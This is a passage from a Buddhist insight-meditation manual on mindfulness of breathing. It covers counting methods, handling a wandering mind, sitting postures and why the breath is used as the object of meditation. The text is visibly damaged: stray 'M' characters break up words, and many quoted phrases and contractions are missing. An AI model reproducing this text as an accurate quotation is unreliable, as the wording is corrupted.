 have a time schedule to attain the goal, for our attainment depends on how we progress in our practice based on our understanding and development of our spiritual faculties. We must work diligently and mindfully towards the goal without setting any particular time schedule to reach it. When we are ready, we get there. All we have to do is to prepare ourselves for that attainment.
After sitting motionless, close your eyes. Our mind is analogous to a cup of muddy water. The longer you keep a cup of muddy water stM
ill, the more mud settles down and the water will be seen clearly. Similarly, if you keep quiet without moving your body, focusing your entire undivided attention on the subject of your meditation, your mind settles down and begins to experience the bliss of meditation.
To prepare for this attainment, we should keep our mind in the present moment. The present moment is changing so fast that the casual observer does not seem to notice its existence at all. Every moment is a moment of events and no moment passes bM
y without noticing events taking place in that moment. Therefore, the moment we try to pay bare attention to is the present moment. Our mind goes through a series of events like a series of pictures passing through a projector. Some of these pictures are coming from our past experiences and others are our imaginations of things that we plan to do in the future.
The mind can never be focused without a mental object. Therefore we must give our mind an object which is readily available every present moment. What isM
 present every moment is our breath. The mind does not have to make a great effort to find the breath, for every moment the breath is flowing in and out through our nostrils. As our practice of insight meditation is taking place every waking moment, our mind finds it very easy to focus itself on the breath, for it is more conspicuous and constant than any other object.
After sitting in the manner explained earlier and having shared your loving-friendliness with everybody, take three deep breaths. After taking thM
ree deep breaths, breathe normally, letting your breath flow in and out freely, effortlessly and begin focusing your attention on the rims of your nostrils. Simply notice the feeling of breath going in and out. When one inhalation is complete and before exhaling begins, there is a brief pause. Notice it and notice the beginning of exhaling. When the exhalation is complete, there is another brief pause before inhaling begins. Notice this brief pause, too. This means that there are two brief pauses of breath
 the end of inhaling, and the other at the end of exhaling. The two pauses occur in such a brief moment you may not be aware of their occurrence. But when you are mindful, you can notice them.
Do not verbalize or conceptualize anything. Simply notice the in-coming and out-going breath without saying,
 When you focus your attention on the breath ignore any thought, memory, sound, smell, taste, etc., and focus your attention exclusively on the breath, nothing else.
the beginning, both the inhalations and exhalations are short because the body and mind are not calm and relaxed. Notice the feeling of that short inhaling and short exhaling as they occur without saying
. As you remain noticing the felling of short inhaling and short exhaling, your body and mind become relatively calm. Then your breath becomes long. Notice the feeling of that long breath as it is without saying
. Then notice the entire breathing process M
from the beginning to the end. Subsequently the breath becomes subtle, and the mind and body become calmer than before. Notice this calm and peaceful feeling of your breathing.
What To Do When the Mind Wanders Away:
In spite of your concerted effort to keep the mind on your breathing, the mind may wander away. It may go to past experiences and suddenly you may find yourself remembering places you
ve visited, people you met, friends not seen for a long time, a book you read long ago, the taste of food you atM
e yesterday, and so on. As soon as you notice that you mind is no longer on your breath, mindfully bring it back to it and anchor it there. However, in a few moments you may be caught up again thinking how to pay your bills, to make a telephone call to you friend, write a letter to someone, do your laundry, buy your groceries, go to a party, plan your next vacation, and so forth. As soon as you notice that your mind is not on your subject, bring it back mindfully. Following are some suggestions to help you gain theM
 concentration necessary for the practice of mindfulness.
In a situation like this, counting may help. The purpose of counting is simply to focus the mind on the breath. Once you mind is focused on the breath, give up counting. This is a device for gaining concentration. There are numerous ways of counting. Any counting should be done mentally. Do not make any sound when you count. Following are some of the ways of counting.
1. While breathing in count
s are full of fresh air. While breathing out count
 until the lungs are empty of fresh air. Then while breathing in again count
three, three, three, three
 until the lungs are full again and while breathing out count again
four, four, four, four
 until the lungs are empty of fresh air. Count up to ten and repeat as many times as necessary to keep the mind focused on the breath.
2. The second method of counting is counting rapidly up to ten. While counting
hree, four, five, six, seven, eight, nine and ten
 breathe in and again while counting
one, two, three, four, five, six, seven, eight, nine and ten
 breathe out. This means in one inhaling you should count up to ten and in one exhaling you should count up to ten. Repeat this way of counting as many times as necessary to focus the mind on the breath.
3. The third method of counting is to counting secession up to ten. At this time count
one, two, three, four, five
 (only up to five) while inhaling and M
one, two, three, four, five, six
 (up to six) while exhaling. Again count
one, two, three, four fire, six seven
 (only up to seven) while inhaling. Then count
one, two, three, four, five, six, seven, eight
 while exhaling. Count up to nine while inhaling and count up to ten while exhaling. Repeat this way of counting as many times as necessary to focus the mind on the breath.
4. The fourth method is to take a long breath. When the lungs are full, mentally count
 completely until the lungs are empty of fresh air. Then count mentally
. Take a long breath again and count
 and breathe completely out as before. When the lungs are empty of fresh air, count mentally
. Count your breath in this manner up to ten. Then count backward from ten to one. Count again from one to ten and then ten to one.
5. The fifth method is to join inhaling and exhaling. When the lungs are empty of fresh air, count mentally
. This time you should count both inM
halation and exhalation as one. Again inhale, exhale, and mentally count
. This way of counting should be done only up to five and repeated from five to one. Repeat this method until you breathing becomes refined and quiet.
Remember that you are not supposed to continue your counting all the time. As soon as your mind is locked at the nostrils-tip where the inhaling breath and exhaling breath touch and begin to feel that you breathing is so refined and quiet that you cannot notice inhalation and exhalatM
ion separately, you should give up counting. Counting is used only to train the mind to concentrate on one point.
After inhaling do not wait to notice the brief pause before exhaling but connect the inhaling and exhaling, so you can notice both inhaling and exhaling as one continuous breath.
After joining inhaling and exhaling, fix your mind on the point where you feel you inhaling and exhaling breath touching. Inhale and exhale as on single breath moving in and out touching or rM
ubbing the rims of your nostrils.
D. Focus your mind like a carpenter
A carpenter draws a straight line on a board and that he wants to cut. Then he cuts the board with his handsaw along the straight line he drew. He does not look at the teeth of his saw as they move in and out of the board. Rather he focuses his entire attention on the line he drew so he can cut the board straight. Similarly keep your mind straight on the point where you feel the breath at the rims of your nostrils.
E. Make you mind like M
A gate-keeper does not take into account any detail of the people entering a house. All he does is notice people entering the house and leaving the house through the gate. Similarly, when you concentrate you should not take into account any detail of your experiences. Simply notice the feeling of your inhaling and exhaling breath as it goes in and out right at the rims of your nostrils.
As you continue your practice you mind and body becomes so light that you may feel as if you are floating in tM
he air or on water. You may even feel that your body is springing up into the sky. When the grossness of your in-and-out breathing has ceased, subtle in-and-out breathing arises. This very subtle breath is your objective focus of the mind. This is the sign of concentration. This first appearance of a sign-object will be replaced by more and more subtle sign-object. This subtlety of the sign can be compared to the sound of a bell. When a bell is struck with a big iron rod, you hear a gross sound at first. As the souM
nd faces away, the sound becomes very subtle. Similarly the in-and-out breath appears at first as a gross sign. As you keep paying bare attention to it, this sign becomes very subtle. But the consciousness remains totally focused on the rims of the nostrils. Other meditation objects become clearer and clearer, as the sign develops. But the breath becomes subtler and subtler as the sign develops. Because of this subtlety, you may not notice the presence of your breath. Don
t get disappointed thinking that you lostM
 your breath or that nothing is happening to your meditation practice. Don
t worry. Be mindful and determined to bring your feeling of breath back to the rims of your nostrils. This is the time you should practice more vigorously, balancing your energy, faith, mindfulness, concentration and wisdom.
Suppose there is a farmer who uses buffaloes for plowing his rice field. As he is tired in the middle of the day, he unfastens his buffaloes and takes a rest under the cool shade of a tree. WheM
n he wakes up, he does not find his animals. He does not worry, but simply walks to the water place where all the animals gather for drinking in the hot mid-day and he finds his buffaloes there. Without any problem he brings them back and ties them to the yoke again and starts plowing his field.
Similarly as you continue this exercise, your breath becomes so subtle and refined that you might not be able to notice the feeling of breath at all. When this happens, do not worry. It has not disappeared. It is still wM
here it was before-right at the nostril-tips. Take a few quick breaths and you will notice the feeling of breathing again. Continue to pay bare attention to the feeling of the touch of breath at the rims of your nostrils.
As you keep your mind focused on the rims of your nostrils, you will be able to notice the sign of the development of meditation. You will feel the pleasant sensation of sign. Different meditators feel this differently. It will be like a star, or a peg made of heartwood, or a long string, or a M
wreath of flowers, or a puff of smoke, or a cob-web, or a film of cloud, or a lotus flower, or the disc of the moon or the disc of the sun.
Earlier in your practice you had inhaling and exhaling as objects of meditation. Now you have the sign as the third object of meditation. When you focus your mind on this third object, your mind reaches a stage of concentration sufficient for your practice of insight meditation. This sign is strongly present at the rims of the nostrils. Master it and gain full control of it M
so that whenever you want, it should be available. Unite the mind with this sign which is available in the present moment and let the mind flow with every succeeding moment. As you pay bare attention to it, you will see the sign itself is changing every moment. Keep your mind with the changing moments. Also notice that your mind can be concentrated only on the present moment. This unity of the mind with the present moment is called momentary concentration. As moments are incessantly passing away one after another, M
the mind keeps pace with them. Changing with them, appearing and disappearing with them without clinging to any of them. If we try to stop the mind at one moment, we end up in frustration because the mind cannot be held fast. It must keep up with what is happening in the new moment. As the present moment can be found any moment, every waking moment can be made a concentrated moment.
To unite the mind with the present moment, we must find something happening in that moment. However, you cannot focus your mind on M
every changing moment without a certain degree of concentration to keep pace with the moment. Once you gain this degree of concentration, you can use it for focusing your attention on anything you experience
the rising and falling of your abdomen, the rising and falling of the chest area, the rising and falling of any feeling, or the rising and falling of your breath or thoughts and so on.
To make any progress in insight meditation you need this kind of momentary concentration. That is all you need for the insM
ight meditation practice because everything in your experience lives only for one moment. When you focus this concentrated state of mind on the changes taking place in your mind and body, you will notice that your breath is the physical part and the feeling of breath, consciousness of the feeling and the consciousness of the sign are the mental parts. As you notice them you can notice that they are changing all the time. You may have various types of sensations, other than the feeling of breathing, taking place in M
your body. Watch them all over your body. Don
t try to create any feeling which is not naturally present in any part of your body. When thought arises notice it, too. All you should notice in all these occurrences is the impermanent, unsatisfactory and selfless nature of all your experiences whether mental or physical.
As your mindfulness develops, your resentment for the change, your dislike for the unpleasant experiences, your greed for the pleasant experiences and the notion of selfhood will be replaced by M
the deeper insight of impermanence, unsatisfactoriness and selflessness. This knowledge of reality in your experience helps you to foster a more calm, peaceful and mature attitude towards your life. You will see what you thought in the past to be permanent is changing with such an inconceivable rapidity that even your mind cannot keep up with these changes. Somehow you will be able to notice many of the changes. You will see the subtlety of impermanence and the subtlety of selflessness. This insight will show you tM
he way to peace, happiness and give you the wisdom to handle your daily problems in life.
When the mind is united with the breath flowing all the time, we will naturally be able to focus the mind on the present moment. We can notice the feeling arising from contact of breath with the rim of our nostrils. As the earth element of the air that we breathe in and out touches the earth element of our nostrils, the mind feels the flow of air in and out. The warm feeling arises at the nostrils or any other part of the bM
ody from the contact of the heat element generated by the breathing process. The feeling of impermanence of breath arises when the earth element of flowing breath touches the nostrils. Although the water element is present in the breath, the mind cannot feel it.
Also we feel the expansion and contraction of our lungs, abdomen and low abdomen, as the fresh air is pumped in and out of the lungs. The expansion and contraction of the abdomen, lower abdomen and chest are parts of the universal rhythm. Everything in tM
he universe has the same rhythm of expansion and contraction just like our breath and body. All of them are rising and falling. However, our primary concern is the rising and falling phenomena of the breath and minute parts of our minds and bodies.
Along with the inhaling breath, we experience a small degree of calmness. This little degree of tension-free calmness turns into tension if we don
t breathe out in a few moments. As we breathe out this tension is released. After breathing out, we experience discomfoM
rt if we wait too long before having fresh brought in again. This means that every time our lings are full we must breathe out and every time our lungs are empty we must breathe in. As we breathe in, we experience a small degree of calmness, and as we breathe out, we experience a small degree of calmness. We desire calmness and relief of tension and do not like the tension and feeling resulting from the lack of breath. We wish that the calmness would stay longer and the tension disappear more quickly that it normalM
ly does. But neither will the tension go away as fast as we wish not the calmness stay as long as we wish. And again we get agitated or irritated, for we desire the calmness to return and stay longer and the tension to go away quickly and not to return again. Here we see how even a small degree of desire for permanency in an impermanent situation causes pain or unhappiness. Since there is no self-entity to control this situation, we will become more disappointed.
However, if we watch our breathing without desiriM
ng calmness and without resenting tension arising from the breathing in and out, but experience only the impermanence, the unsatisfactoriness and selflessness of our breath, our mind becomes peaceful and calm.
Also, the mind does not stay all the time with the feeling of breath. It goes to sounds, memories, emotions, perceptions, consciousness and mental formations as well. When we experience these states, we should forget about the feeling of breath and immediately focus our attention on these states
 time, not all of them at one time. As they fade away, we let our mind return to the breath which is the home base the mind can return to from quick or long journey to various states of mind and body. We must remember that all these mental journeys are made within the mind itself.
Every time the mind returns to the breath, it comes back with a deeper insight into impermanence, unsatisfactoriness and selflessness. The mind becomes more insightful from the impartial and unbiased watching of these occurrences. The M
mind gains insight into the fact that this body, these feelings, various states of consciousness and numerous mental formations are to be used only for the purpose of gaining deeper insight into the reality of this mind/body complex.
VI) WHAT TO DO WITH YOUR BODY
The practice of meditation has been going on for several thousand years. That is quite a bit of time for experimentation, and the procedure has been very, very thoroughly refined. Buddhist practice has always recognized that the mind and body are tM
ightly linked and that each influences the other. Thus there are certain recommended physical practices which will greatly assist you to master your skill. And these practices should be followed. Keep in mind, however, that these postures are practice aids. Don
t confuse the two. Meditation does not mean sitting in the lotus position. It is a mental skill. It can be practiced anywhere you wish. But these postures will help you learn this skill and they speed your progress and development. So use them.
The purpose of the various postures is threefold. First, they provide a stable feeling in the body. This allows you to remove your attention from such issues as balance and muscular fatigue, so that you can then center your concentration upon the formal object of meditation. Second, they promote physical immobility which is then reflected by an immobility of mind. This creates a deeply settled and tranquil concentration. Third, they give you the ability to sit for a long period of time without yielding toM
s three main enemies
pain, muscular tension and falling asleep. The most essential thing is to sit with your back straight. The spine should be erect with the spinal vertebrae held like a stack of coins, one on top of the other. Your head should be held in line with the rest of the spine. All of this is done in a relaxed manner. No Stiffness. You are not a wooden soldier, and there is no drill sergeant. There should be no muscular tension involved in keeping the back straight. Sit light and easy.M
 The spine should be like a firm young tree growing out of soft ground. The rest of the body just hangs from it in a loose, relaxed manner. This is going to require a bit of experimentation on your part. We generally sit in tight, guarded postures when we are walking or talking and in sprawling postures when we are relaxing. Neither of those will do. But they are cultural habits and they can be re-learned.
Your objective is to achieve a posture in which you can sit for the entire session without moving at all. IM
n the beginning, you will probably feel a bit odd to sit with the straight back. But you will get used to it. It takes practice, and an erect posture is very important. This is what is known in physiology as a position of arousal, and with it goes mental alertness. If you slouch, you are inviting drowsiness. What you sit on is equally important. You are going to need a chair or a cushion, depending on the posture you choose, and the firmness of the seat must be chosen with some care. Too soft a seat can put you rigM
ht to sleep. Too hard can promote pain.
The clothes you wear for meditation should be loose and soft. If they restrict blood flow or put pressure on nerves, the result will be pain and/or that tingling numbness which we normally refer to as our
. If you are wearing a belt, loosen it. Don
t wear tight pants or pants made of thick material. Long skirts are a good choice for women. Loose pants made of thin or elastic material are fine for anybody. Soft, flowing robes are the M
traditional garb in Asia and they come in an enormous variety of styles such as sarongs and kimonos. Take your shoes off and if your stockings are thick and binding, take them off, too.
Traditional Postures:
When you are sitting on the floor in the traditional Asian manner, you need a cushion to elevate your spine. Choose one that is relatively firm and at least three inches thick when compressed. Sit close to the front edge of the cushion and let your crossed legs rest on the floor in front of you. If the flM
oor is carpeted, that may be enough to protect your shins and ankles from pressure. If it is not, you will probably need some sort of padding for your legs. A folded blanket will do nicely. Don
t sit all the way back on the cushion. This position causes its front edge to press into the underside of your thigh, causing nerves to pinch. The result will be leg pain.
There are a number of ways you can fold your legs. We will list four in ascending order of preference.
1. American Indian style. Your right foot iM
s tucked under the left knee and left foot is tucked under your right knee.
2. Burmese style. Both of your legs lie flat on the floor from knee to foot. They are parallel with each other and one in front of the other.
3. Half lotus. Both knees touch the floor. One leg and foot lie flat along the calf of the other leg.
4. Full lotus. Both knees touch the floor, and your legs are crossed at the calf. Your left foot rests on the right thigh, and your right foot rests on the left thigh. Both soles turn upward.M
In these postures, your hands are cupped one on the other, and they rest on your lap with the palms turned upward. The hands lie just below the navel with the bend of each wrist pressed against the thigh. This arm position provides firm bracing for the upper body. Don
t tighten your neck muscles. Relax your arms. Your diaphragm is held relaxed, expanded to maximum fullness. Don
t let tension build up in the stomach area. Your chin is up. Your eyes can be open or closed. If you keep them open, fix them on thM
e tip of your nose or in the middle distance straight in front. You are not looking at anything. You are just putting your eyes in some arbitrary direction where there is nothing in particular to see, so that you can forget about vision. Don
t be rigid. Relax; let the body be natural and supple. Let it hang from the erect spine like a rag doll.
Half and full lotus positions are the traditional meditation postures in Asia. And the full lotus is considered the best. It is the M
most solid by far. Once you are locked into this position, you can be completely immovable for a very long period. Since it requires a considerable flexibility in the legs, not everybody can do it. Besides, the main criterion by which you choose a posture for yourself is not what others say about it. It is your own comfort. Choose a position which allows you to sit the longest without pain, without moving. Experiment with different postures. The tendons will loosen with practice. And then you can work gradually towM
ards the full lotus.
Sitting on the floor may not be feasible for you because of pain or some other reason. No problem. You can always use a chair instead. Pick one that has a level seat, a straight back and no arms. It is best to sit in such a way that your back does not lean against the back of the chair. The front of the seat should not dig into the underside of your thighs. Place your legs side by side, feet flat on the floor. As with the traditional postures, place both hands on your lap, M
cupped one upon the other. Don
t tighten your neck or shoulder muscles, and relax your arms. Your eyes can be open or closed.
In all the above postures, remember your objectives. You want to achieve a state of complete physical stillness, yet you don
t want to fall asleep. Recall the analogy of the muddy water. You want to promote a totally settled state of the body which will engender a corresponding mental settling. There must also be a state of physical alertness which can induce the kind of mental claritM
y you seek. So experiment. Your body is a tool for creating desired mental states. Use it judiciously.
VII) WHAT TO DO WITH YOUR MIND
The meditation we teach is called Insight Meditation. As we have already said, the variety of possible objects of meditation is nearly unlimited, and human beings have used an enormous number down through the ages. Even within the Vipassana tradition there are variances. There are meditation teachers who teach their students to follow the breath by watching the rise and fall M
of the abdomen. Others recommend focusing attention on the touch of the body against the cushion, or hand against hand, or the feeling of one leg against the other. The method we are explaining here, however, is considered the most traditional and is probably what Gotama Buddha taught his students. The Satipatthana Sutta, the Buddha
s original discourse on mindfulness, specifically says that one must begin by focusing the attention on the breathing and then go on to note all other physical and mental phenomena whM
We sit, watching the air going in and out of our noses. At first glance, this seems an exceedingly odd and useless procedure. Before going on to specific instructions, let us examine the reason behind it. The first question we might address is why use any focus of attention at all? We are, after all, trying to develop awareness. Why not just sit down and be aware of whatever happens to be present in the mind? In fact there are meditations of that nature. They are sometimes referred to as unstructured M
meditation and they are quite difficult. The mind is tricky. Thought is an inherently complicated procedure. By that we mean we become trapped, wrapped up, and stuck in the thought chain. One thought leads to another which leads to another, and another, and another, and so on. Fifteen minutes later we suddenly wake up and realize we spent that whole time stuck in a daydream or sexual fantasy or a set of worries about our bills or whatever.
There is a difference between being aware of a thought and thinking a thoM
ught. That difference is very subtle. It is primarily a matter of feeling or texture. A thought you are simply aware of with bare attention feels light in texture; there is a sense of distance between that thought and the awareness viewing it. It arises lightly like a bubble, and it passes away without necessarily giving rise to the next thought in that chain. Normal conscious thought is much heavier in texture. It is ponderous, commanding, and compulsive. It sucks you in and grabs control of consciousness. By its M
very nature it is obsessional, and it leads straight to the next thought in the chain, apparently with no gap between them.
Conscious thought sets up a corresponding tension in the body, such as muscular contraction or a quickening of the heartbeat. But you won
t feel tension until it grows to actual pain, because normal conscious thought is also greedy. It grabs all your attention and leaves none to notice its own effect. The difference between being aware of the thought and thinking the thought is very real.M
 But it is extremely subtle and difficult to see. Concentration is one of the tools needed to be able to see this difference.
Deep concentration has the effect of slowing down the thought process and speeding up the awareness viewing it. The result is the enhanced ability to examine the thought process. Concentration is our microscope for viewing subtle internal states. We use the focus of attention to achieve one-pointedness of mind with calm and constantly applied attention. Without a fixed reference point youM
 get lost, overcome by the ceaseless waves of change flowing round and round within the mind.
We use breath as our focus. It serves as that vital reference point from which the mind wanders and is drawn back. Distraction cannot be seen as distraction unless there is some central focus to be distracted from. That is the frame of reference against which we can view the incessant changes and interruptions that go on all the time as a part of normal thinking.
Ancient Pali texts liken meditation to the process of M
taming a wild elephant. The procedure in those days was to tie a newly captured animal to a post with a good strong rope. When you do this the elephant is not happy. He screams and tramples, and pulls against the rope for days. Finally it sinks through his skull that he can
t get away, and he settles down. At this point you can begin to feed him and to handle him with some measure of safety. Eventually you can dispense with the rope and post altogether, and train your elephant for various tasks. Now you
a tamed elephant that can be put to useful work. In this analogy the wild elephant is your wildly active mind, the rope is mindfulness, and the post is our object of meditation
 breathing. The tamed elephant who emerges from this process is a well-trained, concentrated mind that can then be used for the exceedingly tough job of piercing the layers of illusion that obscure reality. Meditation tames the mind.
The next question we need to address is: Why choose breathing as the primary object of meditation? Why nM
ot something a bit more interesting? Answers to this are numerous. A useful object of meditation should be one that promotes mindfulness. It should be portable, easily available and cheap. It should also be something that will not embroil us in those states of mind from which we are trying to free ourselves, such as greed, anger and delusion. Breathing satisfies all these criteria and more. Breathing is something common to every human being. We all carry it with us wherever we go. It is always there, constantly avaM
ilable, never ceasing from birth till death, and it costs nothing.
Breathing is a non-conceptual process, a thing that can be experienced directly without a need for thought. Furthermore, it is a very living process, an aspect of life that is in constant change. The breath moves in cycles
inhalation, exhalation, breathing in and breathing out. Thus it is miniature model of life itself.
The sensation of breath is subtle, yet it is quite distinct when you learn to tune into it. It takes a bit of an effort to M
find it. Yet anybody can do it. You
ve got to work at it, but not too hard. For all these reasons, breathing makes an ideal object of meditation. Breathing is normally an involuntary process, proceeding at its own pace without a conscious will. Yet a single act of will can slow it down or speed it up. Make it long and smooth or short and choppy. The balance between involuntary breathing and forced manipulation of breath is quite delicate. And there are lessons to be learned here on the nature of will and desire. M
Then, too, that point at the tip of the nostril can be viewed as a sort of a window between the inner and outer worlds. It is a nexus point and energy-transfer spot where stuff from the outside world moves in and becomes a part of what we call
, and where a part of me flows forth to merge with the outside world. There are lessons to be learned here about self- concept and how we form it.
Breath is a phenomenon common to all living things. A true experiential understanding of the process moves you closer M
to other living beings. It shows you your inherent connectedness with all of life. Finally, breathing is a present-time process. By that we mean it is always occurring in the here-and-now. We don
t normally live in the present, of course. We spend most of our time caught up in memories of the past or leaping ahead to the future, full of worries and plans. The breath has none of that
. When we truly observe the breath, we are automatically placed in the present. We are pulled out of the morass M
of mental images and into a bare experience of the here- and-now. In this sense, breath is a living slice of reality. A mindful observation of such a miniature model of life itself leads to insight that are broadly applicable to the rest of our experience.
The first step in using the breath as an object of meditation is to find it. What you are looking for is the physical, tactile sensation of the air that passes in and out of the nostrils. This is usually just inside the tip of the nose. But the exact spot variM
es from one person to another, depending on the shape of the nose. To find your own point, take a quick deep breath and notice the point just inside the nose or on the upper lip where you have the most distinct sensation of passing air. Now exhale and notice the sensation at the same point. It is from this point that you will follow the whole passage of breath. Once you have located your own breath point with clarity, don
t deviate from that spot. Use this single point in order to keep your attention fixed. WithoM
ut having selected such a point, you will find yourself moving in and out of the nose, going up and down the windpipe, eternally chasing after the breath which you can never catch because it keeps changing, moving and flowing.
If you ever sawed wood you already know the trick. As a carpenter, you don
t stand there watching the saw blade going up and down. You will get dizzy. You fix your attention on the spot where the teeth of the blade dig into the wood. It is the only way you can saw a straight line. As a mM
editator, you focus your attention on that single spot of sensation inside the nose. From this vantage point, you watch the entire movement of breath with clear and collected attention. Make no attempt to control the breath. This is not a breathing exercise of the sort done in Yoga. Focus on the natural and spontaneous movement of the breath. Don
t try to regulate it or emphasize it in any way. Most beginners have some trouble in this area. In order to help themselves focus on the sensation, they unconsciously acM
centuate their breathing. The results is a forced and unnatural effort that actually inhibits concentration rather than helping it. Don
t increase the depth of your breath or its sound. This latter point is especially important in group meditation. Loud breathing can be a real annoyance to those around you. Just let the breath move naturally, as if you were asleep. Let go and allow the process to go along at its own rhythm.
This sounds easy, but it is trickier than you think. Do not be discouraged if you find M
your own will getting in the way. Just use that as an opportunity to observe the nature of conscious intention. Watch the delicate interrelation between the breath, the impulse to control the breath and the impulse to cease controlling the breath. You may find it frustrating for a while, but it is highly profitable as a learning experience, and it is a passing phase. Eventually, the breathing process will move along under its own steam. And you will feel no impulse to manipulate it. At this point you will have learM
ned a major lesson about your own compulsive need to control the universe.
Breathing, which seems so mundane and uninteresting at first glance, is actually an enormously complex and fascinating procedure. It is full of delicate variations, if you look. There is inhalation and exhalation, long breath and short breath, deep breath, shallow breath, smooth breath and ragged breath. These categories combine with one another in subtle and intricate ways. Observe the breath closely. Really study it. You find enormous vM
ariations and constant cycle of repeated patterns. It is like a symphony. Don
t observe just the bare outline of the breath. There is more to see here than just an in-breath and an out-breath. Every breath has a beginning middle and end. Every inhalation goes through a process of birth, growth and death and every exhalation does the same. The depth and speed of your breathing changes according to your emotional state, the thought that flows through your mind and the sounds you hear. Study these phenomena. You wilM
l find them fascinating.
This does not mean, however, that you should be sitting there having little conversations with yourself inside your head:
There is a short ragged breath and there is a deep long one. I wonder what
 No, that is not Vipassana. That is thinking. You will find this sort of thing happening, especially in the beginning. This too is a passing phase. Simply note the phenomenon and return your attention toward the observation of the sensation of breath. Mental distractions will hapM
pen again. But return your attention to your breath again, and again, and again, and again, for as long as it takes until it does not happen anymore.
When you first begin this procedure, expect to face some difficulties. Your mind will wander off constantly, darting around like a drunken bumblebee and zooming off on wild tangents. Try not to worry. The monkey-minded phenomenon is well known. It is something that every advanced meditator has had to deal with. They have pushed through it one way or another, and soM
 can you. When it happens, just not the fact that you have been thinking, day-dreaming, worrying, or whatever. Gently, but firmly, without getting upset or judging yourself for straying, simply return to the simple physical sensation of the breath. Then do it again the next time, and again, an again, and again.
Somewhere in this process, you will come face-to-face with the sudden and shocking realization that you are completely crazy. Your mind is a shrieking, gibbering madhouse on wheels barreling pell-mell dowM
n the hill, utterly out of control and hopeless. No problem. You are not crazier than you were yesterday. It has always been this way, and you just never noticed. You are also no crazier than everybody else around you. The only real difference is that you have confronted the situation; they have not. So they still feel relatively comfortable. That does not mean that they are better off. Ignorance may be bliss, but it does not lead to liberation. So don
t let this realization unsettle you. It is a milestone actualM
ly, a sigh of real progress. The very fact that you have looked at the problem straight in the eye means that you are on your way up and out of it.
In the wordless observation of the breath, there are two states to be avoided: thinking and sinking. The thinking mind manifests most clearly as the monkey-mind phenomenon we have just been discussing. The sinking mind is almost the reverse. As a general term, sinking mind denotes any dimming of awareness. At its best, it is sort of a mental vacuum in which there is M
no thought, no observation of the breath, no awareness of anything. It is a gap, a formless mental gray area rather like a dreamless sleep. Sinking mind is a void. Avoid it.
Vipassana meditation is an active function. Concentration is a strong, energetic attention to one single item. Awareness is a bright clean alertness. Samadhi and Sati
 these are the two faculties we wish to cultivate. And sinking mind contains neither. At its worst, it will put you to sleep. Even at its best it will simply waste your timeM
When you find you have fallen into a state of sinking mind, just note the fact and return your attention to the sensation of breathing. Observe the tactile sensation of the in-breath. Feel the touch sensation of the out-breath. Breathe in, breathe out and watch what happens. When you have been doing that for some time
perhaps weeks or months
you will begin to sense the touch as a physical object. Simply continue the process
breathe in and breathe out. Watch what happens. As your concentration deepens youM
 will have less and less trouble with monkey-mind. Your breathing will slow down and you will track it more and more clearly, with fewer and fewer interruptions. You begin to experience a state of great calm in which you enjoy complete freedom from those things we call psychic irritants. No greed, lust, envy, jealousy or hatred. Agitation goes away. Fear flees. These are beautiful, clear, blissful states of mind. They are temporary, and they will end when meditation ends. Yet even these brief experiences will changM
e your life. This is not liberation, but these are stepping stones on the path that leads in that direction. Do not, however, expect instant bliss. Even these stepping stones take time and effort and patience.
The meditation experience is not a competition. There is a definite goal. But there is no timetable. What you are doing is digging your way deeper and deeper through the layers of illusion toward realization of the supreme truth of existence. The process itself is fascinating and fulfilling. It can be enjoM
yed for its own sake. There is no need to rush.
At the end of a well-done meditation session you will feel a delightful freshness of mind. It is peaceful, buoyant, and joyous energy which you can then apply to the problems of daily living. This in itself is reward enough. The purpose of meditation is not to deal with problems, however, and problem- solving ability is a fringe benefit and should be regarded as such. If you place too much emphasis on the problem-solving aspect, you will find your attention turningM
 to those problems during the session sidetracking concentration. Don
t think about your problems during your practice. Push them aside very gently.
Take a break from all that worrying and planning. Let your meditation be a complete vacation. Trust yourself, trust your own ability to deal with these issues later, using the energy and freshness of mind that you built up during your meditation. Trust yourself this way and it will actually occur.
t set goals for yourself that are too high to reach. Be geM
ntly with yourself. You are trying to follow your own breathing continuously and without a break. That sounds easy enough, so you will have a tendency at the outset to push yourself to be scrupulous and exacting. This is unrealistic. Take time in small units instead. At the beginning of an inhalation, make the resolve to follow the breath just for the period of that one inhalation. Even this is not so easy, but at least it can be done. Then, at the start of the exhalation, resolve to follow the breath just for thatM
 one exhalation, all the way through. You will still fail repeatedly, but keep at it.
Every time you stumble, start over. Take it one breath at a time. This is the level of the game where you can actually win. Stick at it
fresh resolve with every breath cycle, tiny units of time. Observe each breath with care and precision, taking it one split second on top of another, with fresh resolve piled one on top of the other. In this way, continuous and unbroken awareness will eventually result.
Mindfulness of breaM
thing is a present-time awareness. When you are doing it properly, you are aware only of what is occurring in the present. You don
t look back and you don
t look forward. You forget about the last breath, and you don
t anticipate the next one. When the inhalation is just beginning, you don
t look ahead to the end of that inhalation. You don
t skip forward to the exhalation which is to follow. You stay right there with what is actually taking place. The inhalation is beginning, and that
tention to; that and nothing else.
This meditation is a process of retraining the mind. The state you are aiming for is one in which you are totally aware of everything that is happening in your own perceptual universe, exactly the way it happens, exactly when it is happening; total, unbroken awareness in the present time. This is an incredibly high goal, and not to be reached all at once. It takes practice, so we start small. We start by becoming totally aware of one small unit of time, just one single inhalatiM
on. And, when you succeed, you are on your way to a whole new experience of life.
VIII) STRUCTURING YOUR MEDITATION
Everything up to this point has been theory. Now let
s dive into the actual practice. Just how do we go about this thing called meditation.
First of all, you need to establish a formal practice schedule, a specific period when you will do Vipassana meditation and nothing else. When you were a baby, you did not know how to walk. Somebody went to a lot of trouble to teach you that skill. ThM
ey dragged you by the arms. They gave you lots of encouragement. Made you put one foot in front of the other until you could do it by yourself. Those periods of instruction constituted a formal practice in the art of walking.
In meditation, we follow the same basic procedure. We set aside a certain time, specifically devoted to developing this mental skill called mindfulness. We devote these times exclusively to that activity, and we structure our environment so there will be a minimum of distraction. This is noM
t the easiest skill in the world to learn. We have spent our entire life developing mental habits that are really quite contrary to the ideal of uninterrupted mindfulness. Extricating ourselves from those habits requires a bit of strategy. As we said earlier, our minds are like cups of muddy water. The object of meditation is to clarify this sludge so that we can see what is going on in there. The best way to do that is just let it sit. Give it enough time and it will settle down. You wind up with clear water. In mM
editation, we set aside a specific time for this clarifying process. When viewed from the outside, it looks utterly useless. We sit there apparently as productive as a stone gargoyle. Inside, however, quite a bit is happening. The mental soup settles down, and we are left with a clarity of mind that prepares us to cope with the upcoming events of our lives.
That does not mean that we have to do anything to force this settling. It is a natural process that happens by itself. The very act of sitting still being miM
ndful causes this settling. In fact, any effort on our part to force this settling is counterproductive. That is repression, and it does not work. Try to force things out of the mind and you merely add energy to them You may succeed temporarily, but in the long run you will only have made them stronger. They will hide in the unconscious until you are not watching, then they will leap out and leave you helpless to fight them off.
